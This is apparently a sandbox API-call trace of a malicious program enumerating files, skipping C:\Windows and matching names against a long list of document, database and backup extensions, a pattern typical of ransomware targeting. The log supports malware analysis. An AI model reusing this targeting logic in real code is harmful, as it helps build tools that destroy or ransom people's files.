[0033.098] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0033.098] lstrlenW (lpString=".as") returned 3 [0033.098] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0033.098] lstrlenW (lpString=".asa") returned 4 [0033.098] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0033.098] lstrlenW (lpString=".asc") returned 4 [0033.098] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0033.098] lstrlenW (lpString=".ascx") returned 5 [0033.098] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0033.098] lstrlenW (lpString=".asm") returned 4 [0033.098] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0033.098] lstrlenW (lpString=".asmx") returned 5 [0033.098] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0033.098] lstrlenW (lpString=".asp") returned 4 [0033.098] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0033.099] lstrlenW (lpString=".aspx") returned 5 [0033.099] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0033.099] lstrlenW (lpString=".asr") returned 4 [0033.099] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0033.099] lstrlenW (lpString=".asx") returned 4 [0033.099] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0033.099] lstrlenW (lpString=".avi") returned 4 [0033.099] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0033.099] lstrlenW (lpString=".avs") returned 4 [0033.099] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0033.099] lstrlenW (lpString=".backup") returned 7 [0033.099] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0033.099] lstrlenW (lpString=".bak") returned 4 [0033.099] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0033.099] lstrlenW (lpString=".bay") returned 4 [0033.099] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0033.099] lstrlenW (lpString=".bd") returned 3 [0033.099] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0033.099] lstrlenW (lpString=".bin") returned 4 [0033.099] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0033.099] lstrlenW (lpString=".bmp") returned 4 [0033.099] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0033.099] lstrlenW (lpString=".bz2") returned 4 [0033.099] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0033.099] lstrlenW (lpString=".c") returned 2 [0033.099] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0033.099] lstrlenW (lpString=".cdr") returned 4 [0033.099] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0033.099] lstrlenW (lpString=".cer") returned 4 [0033.100] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0033.100] lstrlenW (lpString=".cf") returned 3 [0033.100] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0033.100] lstrlenW (lpString=".cfc") returned 4 [0033.100] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0033.100] lstrlenW (lpString=".cfm") returned 4 [0033.100] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0033.100] lstrlenW (lpString=".cfml") returned 5 [0033.100] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0033.100] lstrlenW (lpString=".cfu") returned 4 [0033.100] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0033.100] lstrlenW (lpString=".chm") returned 4 [0033.100] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0033.100] lstrlenW (lpString=".cin") returned 4 [0033.100] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0033.100] lstrlenW (lpString=".class") returned 6 [0033.100] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0033.100] lstrlenW (lpString=".clx") returned 4 [0033.100] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0033.100] lstrlenW (lpString=".config") returned 7 [0033.100] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0033.100] lstrlenW (lpString=".cpp") returned 4 [0033.100] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0033.100] lstrlenW (lpString=".cr2") returned 4 [0033.100] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0033.100] lstrlenW (lpString=".crt") returned 4 [0033.100] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0033.100] lstrlenW (lpString=".crw") returned 4 [0033.100] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0033.100] lstrlenW (lpString=".cs") returned 3 [0033.100] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0033.100] lstrlenW (lpString=".css") returned 4 [0033.101] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0033.101] lstrlenW (lpString=".csv") returned 4 [0033.101] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0033.101] lstrlenW (lpString=".cub") returned 4 [0033.101] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0033.101] lstrlenW (lpString=".dae") returned 4 [0033.101] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0033.101] lstrlenW (lpString=".dat") returned 4 [0033.101] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0033.101] lstrlenW (lpString=".db") returned 3 [0033.101] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0033.101] lstrlenW (lpString=".dbf") returned 4 [0033.101] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0033.101] lstrlenW (lpString=".dbx") returned 4 [0033.101] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0033.101] lstrlenW (lpString=".dc3") returned 4 [0033.101] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0033.101] lstrlenW (lpString=".dcm") returned 4 [0033.101] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0033.101] lstrlenW (lpString=".dcr") returned 4 [0033.101] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0033.101] lstrlenW (lpString=".der") returned 4 [0033.101] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0033.101] lstrlenW (lpString=".dib") returned 4 [0033.101] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0033.101] lstrlenW (lpString=".dic") returned 4 [0033.101] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0033.101] lstrlenW (lpString=".dif") returned 4 [0033.101] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0033.101] lstrlenW (lpString=".divx") returned 5 [0033.101] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0033.101] lstrlenW (lpString=".djvu") returned 5 [0033.101] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0033.102] lstrlenW (lpString=".dng") returned 4 [0033.102] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0033.102] lstrlenW (lpString=".doc") returned 4 [0033.102] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0033.102] lstrlenW (lpString=".docm") returned 5 [0033.102] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0033.102] lstrlenW (lpString=".docx") returned 5 [0033.102] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0033.102] lstrlenW (lpString=".dot") returned 4 [0033.102] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0033.102] lstrlenW (lpString=".dotm") returned 5 [0033.102] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0033.102] lstrlenW (lpString=".dotx") returned 5 [0033.102] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0033.102] lstrlenW (lpString=".dpx") returned 4 [0033.102] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0033.102] lstrlenW (lpString=".dqy") returned 4 [0033.102] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0033.102] lstrlenW (lpString=".dsn") returned 4 [0033.102] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0033.102] lstrlenW (lpString=".dt") returned 3 [0033.102] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0033.102] lstrlenW (lpString=".dtd") returned 4 [0033.102] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0033.102] lstrlenW (lpString=".dwg") returned 4 [0033.102] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0033.102] lstrlenW (lpString=".dwt") returned 4 [0033.102] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0033.102] lstrlenW (lpString=".dx") returned 3 [0033.102] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0033.102] lstrlenW (lpString=".dxf") returned 4 [0033.102] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0033.103] lstrlenW (lpString=".edml") returned 5 [0033.103] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0033.103] lstrlenW (lpString=".efd") returned 4 [0033.103] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0033.103] lstrlenW (lpString=".elf") returned 4 [0033.103] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0033.103] lstrlenW (lpString=".emf") returned 4 [0033.103] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0033.103] lstrlenW (lpString=".emz") returned 4 [0033.103] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0033.103] lstrlenW (lpString=".epf") returned 4 [0033.103] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0033.103] lstrlenW (lpString=".eps") returned 4 [0033.103] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0033.103] lstrlenW (lpString=".epsf") returned 5 [0033.103] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0033.103] lstrlenW (lpString=".epsp") returned 5 [0033.103] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0033.103] lstrlenW (lpString=".erf") returned 4 [0033.103] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0033.103] lstrlenW (lpString=".exr") returned 4 [0033.103] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0033.103] lstrlenW (lpString=".f4v") returned 4 [0033.103] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0033.103] lstrlenW (lpString=".fido") returned 5 [0033.103] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0033.103] lstrlenW (lpString=".flm") returned 4 [0033.103] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0033.103] lstrlenW (lpString=".flv") returned 4 [0033.103] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0033.103] lstrlenW (lpString=".frm") returned 4 [0033.103] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0033.103] lstrlenW (lpString=".fxg") returned 4 [0033.104] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0033.104] lstrlenW (lpString=".geo") returned 4 [0033.104] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0033.104] lstrlenW (lpString=".gif") returned 4 [0033.104] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0033.104] lstrlenW (lpString=".grs") returned 4 [0033.104] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0033.104] lstrlenW (lpString=".gz") returned 3 [0033.104] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0033.104] lstrlenW (lpString=".h") returned 2 [0033.104] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0033.104] lstrlenW (lpString=".hdr") returned 4 [0033.104] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0033.104] lstrlenW (lpString=".hpp") returned 4 [0033.104] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0033.104] lstrlenW (lpString=".hta") returned 4 [0033.104] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0033.104] lstrlenW (lpString=".htc") returned 4 [0033.104] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0033.104] lstrlenW (lpString=".htm") returned 4 [0033.104] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0033.104] lstrlenW (lpString=".html") returned 5 [0033.104] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0033.104] lstrlenW (lpString=".icb") returned 4 [0033.104] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0033.104] lstrlenW (lpString=".ics") returned 4 [0033.104] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0033.104] lstrlenW (lpString=".iff") returned 4 [0033.104] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0033.104] lstrlenW (lpString=".inc") returned 4 [0033.104] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0033.104] lstrlenW (lpString=".indd") returned 5 [0033.104] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0033.105] lstrlenW (lpString=".ini") returned 4 [0033.105] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0033.105] FindNextFileW (in: hFindFile=0x3142b0, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0033.105] FindClose (in: hFindFile=0x3142b0 | out: hFindFile=0x3142b0) returned 1 [0033.105] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.105] FindNextFileW (in: hFindFile=0x313268, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0033.105] FindClose (in: hFindFile=0x313268 | out: hFindFile=0x313268) returned 1 [0033.105] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39006e0 | out: hHeap=0x220000) returned 1 [0033.105] FindNextFileW (in: hFindFile=0x313228, lpFindFileData=0x34ffd00 | out: lpFindFileData=0x34ffd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0033.105] lstrlenW (lpString="C:\\Boot") returned 7 [0033.105] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0033.105] lstrlenW (lpString="Boot") returned 4 [0033.105] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0033.105] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39006e0 [0033.105] lstrlenW (lpString="C:\\Boot") returned 7 [0033.105] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x314270 [0033.106] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.106] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0033.106] lstrlenW (lpString="BCD") returned 3 [0033.106] lstrlenW (lpString=".1cd") returned 4 [0033.106] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0033.106] lstrlenW (lpString=".3ds") returned 4 [0033.106] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0033.106] lstrlenW (lpString=".3fr") returned 4 [0033.106] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0033.106] lstrlenW (lpString=".3g2") returned 4 [0033.106] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0033.106] lstrlenW (lpString=".3gp") returned 4 [0033.106] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0033.106] lstrlenW (lpString=".7z") returned 3 [0033.106] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0033.106] lstrlenW (lpString=".accda") returned 6 [0033.106] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0033.106] lstrlenW (lpString=".accdb") returned 6 [0033.106] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0033.106] lstrlenW (lpString=".accdc") returned 6 [0033.106] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0033.106] lstrlenW (lpString=".accde") returned 6 [0033.106] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0033.106] lstrlenW (lpString=".accdt") returned 6 [0033.106] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0033.106] lstrlenW (lpString=".accdw") returned 6 [0033.106] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".adb") returned 4 [0033.107] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".adp") returned 4 [0033.107] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".ai") returned 3 [0033.107] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0033.107] lstrlenW (lpString=".ai3") returned 4 [0033.107] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".ai4") returned 4 [0033.107] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".ai5") returned 4 [0033.107] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".ai6") returned 4 [0033.107] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".ai7") returned 4 [0033.107] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".ai8") returned 4 [0033.107] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".anim") returned 5 [0033.107] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".arw") returned 4 [0033.107] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".as") returned 3 [0033.107] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0033.107] lstrlenW (lpString=".asa") returned 4 [0033.107] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".asc") returned 4 [0033.107] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".ascx") returned 5 [0033.107] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".asm") returned 4 [0033.107] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0033.107] lstrlenW (lpString=".asmx") returned 5 [0033.108] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0033.108] lstrlenW (lpString=".asp") returned 4 [0033.108] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0033.108] lstrlenW (lpString=".aspx") returned 5 [0033.108] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0033.108] lstrlenW (lpString=".asr") returned 4 [0033.108] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0033.108] lstrlenW (lpString=".asx") returned 4 [0033.108] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0033.108] lstrlenW (lpString=".avi") returned 4 [0033.108] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0033.108] lstrlenW (lpString=".avs") returned 4 [0033.108] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0033.108] lstrlenW (lpString=".backup") returned 7 [0033.108] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0033.108] lstrlenW (lpString=".bak") returned 4 [0033.108] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0033.108] lstrlenW (lpString=".bay") returned 4 [0033.108] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0033.108] lstrlenW (lpString=".bd") returned 3 [0033.108] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0033.108] lstrlenW (lpString=".bin") returned 4 [0033.108] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0033.108] lstrlenW (lpString=".bmp") returned 4 [0033.108] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0033.108] lstrlenW (lpString=".bz2") returned 4 [0033.108] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0033.108] lstrlenW (lpString=".c") returned 2 [0033.108] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0033.108] lstrlenW (lpString=".cdr") returned 4 [0033.108] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".cer") returned 4 [0033.109] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".cf") returned 3 [0033.109] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0033.109] lstrlenW (lpString=".cfc") returned 4 [0033.109] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".cfm") returned 4 [0033.109] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".cfml") returned 5 [0033.109] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".cfu") returned 4 [0033.109] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".chm") returned 4 [0033.109] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".cin") returned 4 [0033.109] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".class") returned 6 [0033.109] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".clx") returned 4 [0033.109] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".config") returned 7 [0033.109] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".cpp") returned 4 [0033.109] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".cr2") returned 4 [0033.109] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".crt") returned 4 [0033.109] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".crw") returned 4 [0033.109] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".cs") returned 3 [0033.109] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0033.109] lstrlenW (lpString=".css") returned 4 [0033.109] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0033.109] lstrlenW (lpString=".csv") returned 4 [0033.110] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".cub") returned 4 [0033.110] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".dae") returned 4 [0033.110] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".dat") returned 4 [0033.110] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".db") returned 3 [0033.110] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0033.110] lstrlenW (lpString=".dbf") returned 4 [0033.110] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".dbx") returned 4 [0033.110] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".dc3") returned 4 [0033.110] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".dcm") returned 4 [0033.110] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".dcr") returned 4 [0033.110] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".der") returned 4 [0033.110] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".dib") returned 4 [0033.110] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".dic") returned 4 [0033.110] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".dif") returned 4 [0033.110] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".divx") returned 5 [0033.110] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".djvu") returned 5 [0033.110] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0033.110] lstrlenW (lpString=".dng") returned 4 [0033.110] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0033.111] lstrlenW (lpString=".doc") returned 4 [0033.111] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0033.111] lstrlenW (lpString=".docm") returned 5 [0033.111] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0033.111] lstrlenW (lpString=".docx") returned 5 [0033.111] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0033.111] lstrlenW (lpString=".dot") returned 4 [0033.111] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0033.111] lstrlenW (lpString=".dotm") returned 5 [0033.111] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0033.111] lstrlenW (lpString=".dotx") returned 5 [0033.111] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0033.111] lstrlenW (lpString=".dpx") returned 4 [0033.111] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0033.111] lstrlenW (lpString=".dqy") returned 4 [0033.111] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0033.111] lstrlenW (lpString=".dsn") returned 4 [0033.111] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0033.111] lstrlenW (lpString=".dt") returned 3 [0033.111] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0033.111] lstrlenW (lpString=".dtd") returned 4 [0033.111] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0033.111] lstrlenW (lpString=".dwg") returned 4 [0033.111] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0033.111] lstrlenW (lpString=".dwt") returned 4 [0033.111] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0033.111] lstrlenW (lpString=".dx") returned 3 [0033.111] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0033.111] lstrlenW (lpString=".dxf") returned 4 [0033.111] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0033.111] lstrlenW (lpString=".edml") returned 5 [0033.111] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".efd") returned 4 [0033.112] 